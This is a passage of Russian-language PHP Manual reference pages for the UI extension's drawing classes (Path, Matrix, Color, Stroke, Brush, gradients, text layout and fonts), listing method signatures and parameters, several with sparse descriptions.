public UI\Draw\Path::lineTo(
UI\Point $point,
float $radius,
float $angle,
float $sweep,
float $negative
)

Нарисует путь линии

Список параметров

point

Точка начала отображения

radius

angle

sweep

negative

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Нарисовать фигуру

  • « UI\Draw\Path::lineTo
  • UI\Draw\Path::newFigureWithArc »
  • PHP Manual
  • UI\Draw\Path
  • Нарисовать фигуру

UI\Draw\Path::newFigure

(UI 0.9.9)

UI\Draw\Path::newFigure — Нарисовать фигуру

Описание

public UI\Draw\Path::newFigure(UI\Point $point)

Нарисует новую фигуру в заданной точке

Список параметров

point

Точка начала отображения

User Contributed Notes

There are no user contributed notes for this page.


Нарисовать фигуру с дугой

  • « UI\Draw\Path::newFigure
  • UI\Draw\Matrix »
  • PHP Manual
  • UI\Draw\Path
  • Нарисовать фигуру с дугой

UI\Draw\Path::newFigureWithArc

(UI 0.9.9)

UI\Draw\Path::newFigureWithArc — Нарисовать фигуру с дугой

Описание

public UI\Draw\Path::newFigureWithArc(
UI\Point $point,
float $radius,
float $angle,
float $sweep,
float $negative
)

Список параметров

point

radius

angle

sweep

negative

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Матрица рисования

(UI 0.9.9)

Введение

Обзор классов

class UI\Draw\Matrix {
/* Методы */
public invert()
public isInvertible(): bool
public multiply(UI\Draw\Matrix $matrix): UI\Draw\Matrix
public rotate(UI\Point $point, float $amount)
public scale(UI\Point $center, UI\Point $point)
public skew(UI\Point $point, UI\Point $amount)
public translate(UI\Point $point)
}

Содержание

  • UI\Draw\Matrix::invert — Инвертировать матрицу
  • UI\Draw\Matrix::isInvertible — Определение, инвертирована ли матрица
  • UI\Draw\Matrix::multiply — Умножить матрицу
  • UI\Draw\Matrix::rotate — Перевернуть матрицу
  • UI\Draw\Matrix::scale — Масштабировать матрицу
  • UI\Draw\Matrix::skew — Наклонить матрицу
  • UI\Draw\Matrix::translate — Перевести матрицу

User Contributed Notes

There are no user contributed notes for this page.


Инвертировать матрицу

  • « UI\Draw\Matrix
  • UI\Draw\Matrix::isInvertible »
  • PHP Manual
  • UI\Draw\Matrix
  • Инвертировать матрицу

UI\Draw\Matrix::invert

(UI 0.9.9)

UI\Draw\Matrix::invert — Инвертировать матрицу

Описание

public UI\Draw\Matrix::invert()

Инвертирует данную матрицу

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Определение, инвертирована ли матрица

  • « UI\Draw\Matrix::invert
  • UI\Draw\Matrix::multiply »
  • PHP Manual
  • UI\Draw\Matrix
  • Определение, инвертирована ли матрица

UI\Draw\Matrix::isInvertible

(UI 0.9.9)

UI\Draw\Matrix::isInvertible — Определение, инвертирована ли матрица

Описание

public UI\Draw\Matrix::isInvertible(): bool

Определить, инвертирована ли матрица

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Умножить матрицу

  • « UI\Draw\Matrix::isInvertible
  • UI\Draw\Matrix::rotate »
  • PHP Manual
  • UI\Draw\Matrix
  • Умножить матрицу

UI\Draw\Matrix::multiply

(UI 0.9.9)

UI\Draw\Matrix::multiply — Умножить матрицу

Описание

public UI\Draw\Matrix::multiply(UI\Draw\Matrix $matrix): UI\Draw\Matrix

Умножит данную матрицу на заданную матрицу

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Новая матрица

User Contributed Notes

There are no user contributed notes for this page.


Перевернуть матрицу

  • « UI\Draw\Matrix::multiply
  • UI\Draw\Matrix::scale »
  • PHP Manual
  • UI\Draw\Matrix
  • Перевернуть матрицу

UI\Draw\Matrix::rotate

(UI 0.9.9)

UI\Draw\Matrix::rotate — Перевернуть матрицу

Описание

public UI\Draw\Matrix::rotate(UI\Point $point, float $amount)

Перевернёт данную матрицу

Список параметров

point

amount

User Contributed Notes

There are no user contributed notes for this page.


Масштабировать матрицу

  • « UI\Draw\Matrix::rotate
  • UI\Draw\Matrix::skew »
  • PHP Manual
  • UI\Draw\Matrix
  • Масштабировать матрицу

UI\Draw\Matrix::scale

(UI 0.9.9)

UI\Draw\Matrix::scale — Масштабировать матрицу

Описание

public UI\Draw\Matrix::scale(UI\Point $center, UI\Point $point)

Масштабирует данную матрицу

Список параметров

center

point

User Contributed Notes

There are no user contributed notes for this page.


Наклонить матрицу

  • « UI\Draw\Matrix::scale
  • UI\Draw\Matrix::translate »
  • PHP Manual
  • UI\Draw\Matrix
  • Наклонить матрицу

UI\Draw\Matrix::skew

(UI 0.9.9)

UI\Draw\Matrix::skew — Наклонить матрицу

Описание

public UI\Draw\Matrix::skew(UI\Point $point, UI\Point $amount)

Наклонит данную матрицу

Список параметров

point

amount

User Contributed Notes

There are no user contributed notes for this page.


Перевести матрицу

  • « UI\Draw\Matrix::skew
  • UI\Draw\Color »
  • PHP Manual
  • UI\Draw\Matrix
  • Перевести матрицу

UI\Draw\Matrix::translate

(UI 0.9.9)

UI\Draw\Matrix::translate — Перевести матрицу

Описание

public UI\Draw\Matrix::translate(UI\Point $point)

Переведёт данную матрицу

Список параметров

point

User Contributed Notes

There are no user contributed notes for this page.


Представление цвета

(UI 0.9.9)

Введение

Представляет цвета RGBA, отдельные каналы доступны через общедоступные свойства.

Обзор классов

class UI\Draw\Color {
/* Константы */
const int Red;
const int Green;
const int Blue;
const int Alpha;
/* Свойства */
public $r;
public $g;
public $b;
public $a;
/* Конструктор */
public __construct(UI\Draw\Color $color = ?)
public __construct(int $color = ?)
/* Методы */
public getChannel(int $channel): float
public setChannel(int $channel, float $value): void
}

Свойства

r

Обеспечивает доступ к красному каналу

g

Обеспечивает доступ к зелёному каналу

b

Обеспечивает доступ к синему каналу

a

Обеспечивает доступ к альфа-каналу

Предопределённые константы

UI\Draw\Color::Red

Определяет красный канал

UI\Draw\Color::Green

Определяет зелёный канал

UI\Draw\Color::Blue

Определяет синий канал

UI\Draw\Color::Alpha

Определяет альфа-канал

Содержание

  • UI\Draw\Color::__construct — Создать новый объект Color
  • UI\Draw\Color::getChannel — Управление цветом
  • UI\Draw\Color::setChannel — Управление цветом

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Color

  • « UI\Draw\Color
  • UI\Draw\Color::getChannel »
  • PHP Manual
  • UI\Draw\Color
  • Создать новый объект Color

UI\Draw\Color::__construct

(UI 0.9.9)

UI\Draw\Color::__construct — Создать новый объект Color

Описание

public UI\Draw\Color::__construct(UI\Draw\Color $color = ?)
public UI\Draw\Color::__construct(int $color = ?)

Создаст новый цвет

Список параметров

color

Может быть UI\Draw\Color или RRGGBBAA

User Contributed Notes

There are no user contributed notes for this page.


Управление цветом

  • « UI\Draw\Color::__construct
  • UI\Draw\Color::setChannel »
  • PHP Manual
  • UI\Draw\Color
  • Управление цветом

UI\Draw\Color::getChannel

(UI 0.9.9)

UI\Draw\Color::getChannel — Управление цветом

Описание

public UI\Draw\Color::getChannel(int $channel): float

Получит значение канала

Список параметров

channel

Идентификация постоянного канала

Возвращаемые значения

Текущее значение запрошенного канала

User Contributed Notes

There are no user contributed notes for this page.


Управление цветом

  • « UI\Draw\Color::getChannel
  • UI\Draw\Stroke »
  • PHP Manual
  • UI\Draw\Color
  • Управление цветом

UI\Draw\Color::setChannel

(UI 0.9.9)

UI\Draw\Color::setChannel — Управление цветом

Описание

public UI\Draw\Color::setChannel(int $channel, float $value): void

Установит выбранный канал на заданное значение

Список параметров

channel

Идентификация постоянного канала

value

Новое значение выбранного канала

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Рисование обводки

(UI 0.9.9)

Введение

Содержит конфигурацию Pen для выполнения обводки

Обзор классов

class UI\Draw\Stroke {
/* Конструктор */
public __construct(
int $cap = UI\Draw\Line\Cap::Flat,
int $join = UI\Draw\Line\Join::Miter,
float $thickness = 1,
float $miterLimit = 10
)
/* Методы */
public getCap(): int
public getJoin(): int
public getMiterLimit(): float
public getThickness(): float
public setCap(int $cap)
public setJoin(int $join)
public setMiterLimit(float $limit)
public setThickness(float $thickness)
}

Содержание

  • UI\Draw\Stroke::__construct — Создать новый объект Stroke
  • UI\Draw\Stroke::getCap — Получить конец линии
  • UI\Draw\Stroke::getJoin — Получить соединение линии
  • UI\Draw\Stroke::getMiterLimit — Получить предел среза
  • UI\Draw\Stroke::getThickness — Получить толщину
  • UI\Draw\Stroke::setCap — Установить конец линии
  • UI\Draw\Stroke::setJoin — Получить соединение линии
  • UI\Draw\Stroke::setMiterLimit — Установить предел среза
  • UI\Draw\Stroke::setThickness — Установить толщину

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Stroke

  • « UI\Draw\Stroke
  • UI\Draw\Stroke::getCap »
  • PHP Manual
  • UI\Draw\Stroke
  • Создать новый объект Stroke

UI\Draw\Stroke::__construct

(UI 0.9.9)

UI\Draw\Stroke::__construct — Создать новый объект Stroke

Описание

public UI\Draw\Stroke::__construct(
int $cap = UI\Draw\Line\Cap::Flat,
int $join = UI\Draw\Line\Join::Miter,
float $thickness = 1,
float $miterLimit = 10
)

Создаёт новый объект Stroke

Список параметров

cap

UI\Draw\Line\Cap::Flat, UI\Draw\Line\Cap::Round или UI\Draw\Line\Cap::Square

join

UI\Draw\Line\Join::Miter, UI\Draw\Line\Join::Round или UI\Draw\Line\Join::Bevel

thickness

Толщина обводки

miterLimit

Предел среза (по умолчанию подходит для всех поддерживаемых платформ)

User Contributed Notes

There are no user contributed notes for this page.


Получить конец линии

  • « UI\Draw\Stroke::__construct
  • UI\Draw\Stroke::getJoin »
  • PHP Manual
  • UI\Draw\Stroke
  • Получить конец линии

UI\Draw\Stroke::getCap

(UI 0.9.9)

UI\Draw\Stroke::getCap — Получить конец линии

Описание

public UI\Draw\Stroke::getCap(): int

Получит настройку конца линии данной обводки

Список параметров

У этой функции нет параметров.

Возвращаемые значения

UI\Draw\Line\Cap::Flat, UI\Draw\Line\Cap::Round или UI\Draw\Line\Cap::Square

User Contributed Notes

There are no user contributed notes for this page.


Получить соединение линии

  • « UI\Draw\Stroke::getCap
  • UI\Draw\Stroke::getMiterLimit »
  • PHP Manual
  • UI\Draw\Stroke
  • Получить соединение линии

UI\Draw\Stroke::getJoin

(UI 0.9.9)

UI\Draw\Stroke::getJoin — Получить соединение линии

Описание

public UI\Draw\Stroke::getJoin(): int

Получит настройку соединения линии данной обводки

Список параметров

У этой функции нет параметров.

Возвращаемые значения

UI\Draw\Line\Join::Miter, UI\Draw\Line\Join::Round или UI\Draw\Line\Join::Bevel

User Contributed Notes

There are no user contributed notes for this page.


Получить предел среза

  • « UI\Draw\Stroke::getJoin
  • UI\Draw\Stroke::getThickness »
  • PHP Manual
  • UI\Draw\Stroke
  • Получить предел среза

UI\Draw\Stroke::getMiterLimit

(UI 0.9.9)

UI\Draw\Stroke::getMiterLimit — Получить предел среза

Описание

public UI\Draw\Stroke::getMiterLimit(): float

Получит предел среза данной обводки

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий предел среза

User Contributed Notes

There are no user contributed notes for this page.


Получить толщину

  • « UI\Draw\Stroke::getMiterLimit
  • UI\Draw\Stroke::setCap »
  • PHP Manual
  • UI\Draw\Stroke
  • Получить толщину

UI\Draw\Stroke::getThickness

(UI 0.9.9)

UI\Draw\Stroke::getThickness — Получить толщину

Описание

public UI\Draw\Stroke::getThickness(): float

Получит толщину данной обводки

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая толщина

User Contributed Notes

There are no user contributed notes for this page.


Установить конец линии

  • « UI\Draw\Stroke::getThickness
  • UI\Draw\Stroke::setJoin »
  • PHP Manual
  • UI\Draw\Stroke
  • Установить конец линии

UI\Draw\Stroke::setCap

(UI 0.9.9)

UI\Draw\Stroke::setCap — Установить конец линии

Описание

public UI\Draw\Stroke::setCap(int $cap)

Установит настройку конца линии для данной обводки

Список параметров

cap

UI\Draw\Line\Cap::Flat, UI\Draw\Line\Cap::Round или UI\Draw\Line\Cap::Square

User Contributed Notes

There are no user contributed notes for this page.


Получить соединение линии

  • « UI\Draw\Stroke::setCap
  • UI\Draw\Stroke::setMiterLimit »
  • PHP Manual
  • UI\Draw\Stroke
  • Получить соединение линии

UI\Draw\Stroke::setJoin

(UI 0.9.9)

UI\Draw\Stroke::setJoin — Получить соединение линии

Описание

public UI\Draw\Stroke::setJoin(int $join)

Установит настройку соединения линии для данной обводки

Список параметров

join

UI\Draw\Line\Join::Miter, UI\Draw\Line\Join::Round или UI\Draw\Line\Join::Bevel

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить предел среза

  • « UI\Draw\Stroke::setJoin
  • UI\Draw\Stroke::setThickness »
  • PHP Manual
  • UI\Draw\Stroke
  • Установить предел среза

UI\Draw\Stroke::setMiterLimit

(UI 0.9.9)

UI\Draw\Stroke::setMiterLimit — Установить предел среза

Описание

public UI\Draw\Stroke::setMiterLimit(float $limit)

Установить предел среза для данной обводки

Список параметров

limit

Новый предел

User Contributed Notes

There are no user contributed notes for this page.


Установить толщину

  • « UI\Draw\Stroke::setMiterLimit
  • UI\Draw\Brush »
  • PHP Manual
  • UI\Draw\Stroke
  • Установить толщину

UI\Draw\Stroke::setThickness

(UI 0.9.9)

UI\Draw\Stroke::setThickness — Установить толщину

Описание

public UI\Draw\Stroke::setThickness(float $thickness)

Установит толщину для данной обводки

Список параметров

thickness

Новая толщина

User Contributed Notes

There are no user contributed notes for this page.


Кисти

(UI 0.9.9)

Введение

Представляет сплошную цветную кисть

Обзор классов

class UI\Draw\Brush {
/* Конструктор */
public __construct(UI\Draw\Color $color)
public __construct(int $color)
/* Методы */
public getColor(): UI\Draw\Color
public setColor(UI\Draw\Color $color): void
public setColor(int $color): void
}

Содержание

  • UI\Draw\Brush::__construct — Создать новый объект Brush
  • UI\Draw\Brush::getColor — Получить цвет
  • UI\Draw\Brush::setColor — Установить цвет

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Brush

  • « UI\Draw\Brush
  • UI\Draw\Brush::getColor »
  • PHP Manual
  • UI\Draw\Brush
  • Создать новый объект Brush

UI\Draw\Brush::__construct

(UI 0.9.9)

UI\Draw\Brush::__construct — Создать новый объект Brush

Описание

public UI\Draw\Brush::__construct(UI\Draw\Color $color)
public UI\Draw\Brush::__construct(int $color)

Создаст сплошную кисть, используя заданный цвет

Список параметров

color

Может быть UI\Draw\Color или RRGGBBAA

User Contributed Notes

There are no user contributed notes for this page.


Получить цвет

  • « UI\Draw\Brush::__construct
  • UI\Draw\Brush::setColor »
  • PHP Manual
  • UI\Draw\Brush
  • Получить цвет

UI\Draw\Brush::getColor

(UI 0.9.9)

UI\Draw\Brush::getColor — Получить цвет

Описание

public UI\Draw\Brush::getColor(): UI\Draw\Color

Возвратит объект UI\Draw\Color для данной кисти

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий цвет кисти

User Contributed Notes

There are no user contributed notes for this page.


Установить цвет

  • « UI\Draw\Brush::getColor
  • UI\Draw\Brush\Gradient »
  • PHP Manual
  • UI\Draw\Brush
  • Установить цвет

UI\Draw\Brush::setColor

(UI 0.9.9)

UI\Draw\Brush::setColor — Установить цвет

Описание

public UI\Draw\Brush::setColor(UI\Draw\Color $color): void
public UI\Draw\Brush::setColor(int $color): void

Установит переданный цвет для данной кисти

Список параметров

color

Может быть UI\Draw\Color или RRGGBBAA

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Градиентные кисти

(UI 2.0.0)

Введение

Абстрактный класс для градиентных кистей

Обзор классов

abstract class UI\Draw\Brush\Gradient extends UI\Draw\Brush {
/* Методы */
public addStop(float $position, UI\Draw\Color $color): int
public addStop(float $position, int $color): int
public delStop(int $index): int
public setStop(int $index, float $position, UI\Draw\Color $color): bool
public setStop(int $index, float $position, int $color): bool
/* Наследуемые методы */
public UI\Draw\Brush::getColor(): UI\Draw\Color
public UI\Draw\Brush::setColor(UI\Draw\Color $color): void
public UI\Draw\Brush::setColor(int $color): void
}

Содержание

  • UI\Draw\Brush\Gradient::addStop — Добавляет узел градиента
  • UI\Draw\Brush\Gradient::delStop — Удаляет узел градиента
  • UI\Draw\Brush\Gradient::setStop — Устанавливает узел градиента

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узел градиента

  • « UI\Draw\Brush\Gradient
  • UI\Draw\Brush\Gradient::delStop »
  • PHP Manual
  • UI\Draw\Brush\Gradient
  • Добавляет узел градиента

UI\Draw\Brush\Gradient::addStop

(UI 2.0.0)

UI\Draw\Brush\Gradient::addStop — Добавляет узел градиента

Описание

public UI\Draw\Brush\Gradient::addStop(float $position, UI\Draw\Color $color): int
public UI\Draw\Brush\Gradient::addStop(float $position, int $color): int

Добавляет узел градиента заданного цвета в заданной позиции.

Список параметров

position

Позиция для нового узла.

color

Цвет для нового узла, может быть UI\Draw\Color или RRGGBBAA.

Возвращаемые значения

Общее число узлов.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет узел градиента

  • « UI\Draw\Brush\Gradient::addStop
  • UI\Draw\Brush\Gradient::setStop »
  • PHP Manual
  • UI\Draw\Brush\Gradient
  • Удаляет узел градиента

UI\Draw\Brush\Gradient::delStop

(UI 2.0.0)

UI\Draw\Brush\Gradient::delStop — Удаляет узел градиента

Описание

public UI\Draw\Brush\Gradient::delStop(int $index): int

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

index

Возвращаемые значения

Общее число узлов.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает узел градиента

  • « UI\Draw\Brush\Gradient::delStop
  • UI\Draw\Brush\LinearGradient »
  • PHP Manual
  • UI\Draw\Brush\Gradient
  • Устанавливает узел градиента

UI\Draw\Brush\Gradient::setStop

(UI 2.0.0)

UI\Draw\Brush\Gradient::setStop — Устанавливает узел градиента

Описание

public UI\Draw\Brush\Gradient::setStop(int $index, float $position, UI\Draw\Color $color): bool
public UI\Draw\Brush\Gradient::setStop(int $index, float $position, int $color): bool

Список параметров

index

Индекс узла для установки.

position

Позиция для узла.

color

Цвет для нового узла, может быть UI\Draw\Color или RRGGBBAA.

Возвращаемые значения

Индикация успеха.

User Contributed Notes

There are no user contributed notes for this page.


Линейный градиент

(UI 2.0.0)

Введение

Обзор классов

class UI\Draw\Brush\LinearGradient extends UI\Draw\Brush\Gradient {
/* Конструктор */
public __construct(UI\Point $start, UI\Point $end)
/* Наследуемые методы */
public UI\Draw\Brush\Gradient::addStop(float $position, UI\Draw\Color $color): int
public UI\Draw\Brush\Gradient::addStop(float $position, int $color): int
public UI\Draw\Brush\Gradient::delStop(int $index): int
public UI\Draw\Brush\Gradient::setStop(int $index, float $position, UI\Draw\Color $color): bool
public UI\Draw\Brush\Gradient::setStop(int $index, float $position, int $color): bool
}

Содержание

  • UI\Draw\Brush\LinearGradient::__construct — Конструктор класса LinearGradient

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса LinearGradient

  • « UI\Draw\Brush\LinearGradient
  • UI\Draw\Brush\RadialGradient »
  • PHP Manual
  • UI\Draw\Brush\LinearGradient
  • Конструктор класса LinearGradient

UI\Draw\Brush\LinearGradient::__construct

(UI 2.0.0)

UI\Draw\Brush\LinearGradient::__construct — Конструктор класса LinearGradient

Описание

public UI\Draw\Brush\LinearGradient::__construct(UI\Point $start, UI\Point $end)

Создаёт новый линейный градиент

Список параметров

start

end

User Contributed Notes

There are no user contributed notes for this page.


Радиальный градиент

(UI 2.0.0)

Введение

Обзор классов

class UI\Draw\Brush\RadialGradient extends UI\Draw\Brush\Gradient {
/* Конструктор */
public __construct(UI\Point $start, UI\Point $outer, float $radius)
/* Наследуемые методы */
public UI\Draw\Brush\Gradient::addStop(float $position, UI\Draw\Color $color): int
public UI\Draw\Brush\Gradient::addStop(float $position, int $color): int
public UI\Draw\Brush\Gradient::delStop(int $index): int
public UI\Draw\Brush\Gradient::setStop(int $index, float $position, UI\Draw\Color $color): bool
public UI\Draw\Brush\Gradient::setStop(int $index, float $position, int $color): bool
}

Содержание

  • UI\Draw\Brush\RadialGradient::__construct — Конструктор класса RadialGradient

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса RadialGradient

  • « UI\Draw\Brush\RadialGradient
  • UI\Draw\Text\Layout »
  • PHP Manual
  • UI\Draw\Brush\RadialGradient
  • Конструктор класса RadialGradient

UI\Draw\Brush\RadialGradient::__construct

(UI 2.0.0)

UI\Draw\Brush\RadialGradient::__construct — Конструктор класса RadialGradient

Описание

public UI\Draw\Brush\RadialGradient::__construct(UI\Point $start, UI\Point $outer, float $radius)

Создаёт новый радиальный градиент

Список параметров

start

outer

radius

User Contributed Notes

There are no user contributed notes for this page.


Представляет макет текста

(UI 0.9.9)

Введение

Текстовый макет представляет собой макет текста, который будет нарисован пером

Обзор классов

class UI\Draw\Text\Layout {
/* Конструктор */
public __construct(string $text, UI\Draw\Text\Font $font, float $width)
/* Методы */
public setColor(UI\Draw\Color $color, int $start = 0, int $end = ?)
public setColor(int $color, int $start = 0, int $end = ?)
public setWidth(float $width)
}

Содержание

  • UI\Draw\Text\Layout::__construct — Создать новый объект макета текста
  • UI\Draw\Text\Layout::setColor — Установить цвет
  • UI\Draw\Text\Layout::setWidth — Установить ширину

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект макета текста

  • « UI\Draw\Text\Layout
  • UI\Draw\Text\Layout::setColor »
  • PHP Manual
  • UI\Draw\Text\Layout
  • Создать новый объект макета текста

UI\Draw\Text\Layout::__construct

(UI 0.9.9)

UI\Draw\Text\Layout::__construct — Создать новый объект макета текста

Описание

public UI\Draw\Text\Layout::__construct(string $text, UI\Draw\Text\Font $font, float $width)

Создаст новый объект макета текста

Список параметров

text

Текст для макета

font

Шрифт для записи

width

Ширина для макета

User Contributed Notes

There are no user contributed notes for this page.


Установить цвет

  • « UI\Draw\Text\Layout::__construct
  • UI\Draw\Text\Layout::setWidth »
  • PHP Manual
  • UI\Draw\Text\Layout
  • Установить цвет

UI\Draw\Text\Layout::setColor

(UI 0.9.9)

UI\Draw\Text\Layout::setColor — Установить цвет

Описание

public UI\Draw\Text\Layout::setColor(UI\Draw\Color $color, int $start = 0, int $end = ?)
public UI\Draw\Text\Layout::setColor(int $color, int $start = 0, int $end = ?)

Установит цвет для всего текста или диапазона в макете

Список параметров

color

Используемый цвет

start

Начальный символ

end

Конечный символ, по умолчанию конец строки

User Contributed Notes

There are no user contributed notes for this page.


Установить ширину

  • « UI\Draw\Text\Layout::setColor
  • UI\Draw\Text\Font »
  • PHP Manual
  • UI\Draw\Text\Layout
  • Установить ширину

UI\Draw\Text\Layout::setWidth

(UI 0.9.9)

UI\Draw\Text\Layout::setWidth — Установить ширину

Описание

public UI\Draw\Text\Layout::setWidth(float $width)

Установит ширину для данного макета текста

Список параметров

width

Новая ширина

User Contributed Notes

There are no user contributed notes for this page.


Представляет шрифт

(UI 0.9.9)

Введение

Загружает описанный шрифт

Обзор классов

class UI\Draw\Text\Font {
/* Конструктор */
public __construct(UI\Draw\Text\Font\Descriptor $descriptor)
/* Методы */
public getAscent(): float
public getDescent(): float
public getLeading(): float
public getUnderlinePosition(): float
public getUnderlineThickness(): float
}

Содержание

  • UI\Draw\Text\Font::__construct — Создать новый объект Font
  • UI\Draw\Text\Font::getAscent — Показатели шрифта
  • UI\Draw\Text\Font::getDescent — Показатели шрифта
  • UI\Draw\Text\Font::getLeading — Показатели шрифта
  • UI\Draw\Text\Font::getUnderlinePosition — Показатели шрифта
  • UI\Draw\Text\Font::getUnderlineThickness — Показатели шрифта

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Font

  • « UI\Draw\Text\Font
  • UI\Draw\Text\Font::getAscent »
  • PHP Manual
  • UI\Draw\Text\Font
  • Создать новый объект Font

UI\Draw\Text\Font::__construct

(UI 0.9.9)

UI\Draw\Text\Font::__construct — Создать новый объект Font

Описание

public UI\Draw\Text\Font::__construct(UI\Draw\Text\Font\Descriptor $descriptor)

Создаст новый объект Font, используя заданный дескриптор

Список параметров

descriptor

Дескриптор шрифта

User Contributed Notes

There are no user contributed notes for this page.


Показатели шрифта

  • « UI\Draw\Text\Font::__construct
  • UI\Draw\Text\Font::getDescent »
  • PHP Manual
  • UI\Draw\Text\Font
  • Показатели шрифта

UI\Draw\Text\Font::getAscent

(UI 1.0.3)

UI\Draw\Text\Font::getAscent — Показатели шрифта

Описание

public UI\Draw\Text\Font::getAscent(): float

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Показатели шрифта

  • « UI\Draw\Text\Font::getAscent
  • UI\Draw\Text\Font::getLeading »
  • PHP Manual
  • UI\Draw\Text\Font
  • Показатели шрифта

UI\Draw\Text\Font::getDescent

(UI 1.0.3)

UI\Draw\Text\Font::getDescent — Показатели шрифта

Описание

public UI\Draw\Text\Font::getDescent(): float

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Показатели шрифта

  • « UI\Draw\Text\Font::getDescent
  • UI\Draw\Text\Font::getUnderlinePosition »
  • PHP Manual
  • UI\Draw\Text\Font
  • Показатели шрифта

UI\Draw\Text\Font::getLeading

(UI 1.0.3)

UI\Draw\Text\Font::getLeading — Показатели шрифта

Описание

public UI\Draw\Text\Font::getLeading(): float

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Показатели шрифта

  • « UI\Draw\Text\Font::getLeading
  • UI\Draw\Text\Font::getUnderlineThickness »
  • PHP Manual
  • UI\Draw\Text\Font
  • Показатели шрифта

UI\Draw\Text\Font::getUnderlinePosition

(UI 1.0.3)

UI\Draw\Text\Font::getUnderlinePosition — Показатели шрифта

Описание

public UI\Draw\Text\Font::getUnderlinePosition(): float

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Показатели шрифта

  • « UI\Draw\Text\Font::getUnderlinePosition
  • UI\Draw\Text\Font\Descriptor »
  • PHP Manual
  • UI\Draw\Text\Font
  • Показатели шрифта

UI\Draw\Text\Font::getUnderlineThickness

(UI 1.0.3)

UI\Draw\Text\Font::getUnderlineThickness — Показатели шрифта

Описание

public UI\Draw\Text\Font::getUnderlineThickness(): float

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Дескриптор шрифта

(UI 0.9.9)

Введение

Описывает шрифт

Обзор классов

class UI\Draw\Text\Font\Descriptor {
/* Конструктор */
public __construct(
string $family,
float $size,
int $weight = UI\Draw\Text\Font\Weight::Normal,
int $italic = UI\Draw\Text\Font\Italic::Normal,
int $stretch = UI\Draw\Text\Font\Stretch::Normal
)
/* Методы */
public getFamily(): string
public getItalic(): int
public getSize(): float
public getStretch(): int
public getWeight(): int
}

Содержание

  • UI\Draw\Text\Font\Descriptor::__construct — Конструктор класса Font Descriptor
  • UI\Draw\Text\Font\Descriptor::getFamily — Получает семейство шрифтов
  • UI\Draw\Text\Font\Descriptor::getItalic — Определение стиля
  • UI\Draw\Text\Font\Descriptor::getSize — Определение размера
  • UI\Draw\Text\Font\Descriptor::getStretch — Определение стиля
  • UI\Draw\Text\Font\Descriptor::getWeight — Определение насыщенности

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Font Descriptor

  • « UI\Draw\Text\Font\Descriptor
  • UI\Draw\Text\Font\Descriptor::getFamily »
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Конструктор класса Font Descriptor

UI\Draw\Text\Font\Descriptor::__construct

(UI 0.9.9)

UI\Draw\Text\Font\Descriptor::__construct — Конструктор класса Font Descriptor

Описание

public UI\Draw\Text\Font\Descriptor::__construct(
string $family,
float $size,
int $weight = UI\Draw\Text\Font\Weight::Normal,
int $italic = UI\Draw\Text\Font\Italic::Normal,
int $stretch = UI\Draw\Text\Font\Stretch::Normal
)

Создаёт новый Font Descriptor

Список параметров

family

Название допустимого семейства шрифтов.

size

Предпочтительный размер

weight

Константа UI\Draw\Text\Font\Weight

italic

Константа UI\Draw\Text\Font\Italic

stretch

Константа UI\Draw\Text\Font\Stretch

User Contributed Notes

There are no user contributed notes for this page.


Получает семейство шрифтов

  • « UI\Draw\Text\Font\Descriptor::__construct
  • UI\Draw\Text\Font\Descriptor::getItalic »
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Получает семейство шрифтов

UI\Draw\Text\Font\Descriptor::getFamily

(UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getFamily — Получает семейство шрифтов

Описание

public UI\Draw\Text\Font\Descriptor::getFamily(): string

Возвращает семейство шрифтов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определение стиля

  • « UI\Draw\Text\Font\Descriptor::getFamily
  • UI\Draw\Text\Font\Descriptor::getSize »
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Определение стиля

UI\Draw\Text\Font\Descriptor::getItalic

(UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getItalic — Определение стиля

Описание

public UI\Draw\Text\Font\Descriptor::getItalic(): int

Возвращает стиль

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определение размера

  • « UI\Draw\Text\Font\Descriptor::getItalic
  • UI\Draw\Text\Font\Descriptor::getStretch »
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Определение размера

UI\Draw\Text\Font\Descriptor::getSize

(UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getSize — Определение размера

Описание

public UI\Draw\Text\Font\Descriptor::getSize(): float

Возвращает размер

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определение стиля

  • « UI\Draw\Text\Font\Descriptor::getSize
  • UI\Draw\Text\Font\Descriptor::getWeight »
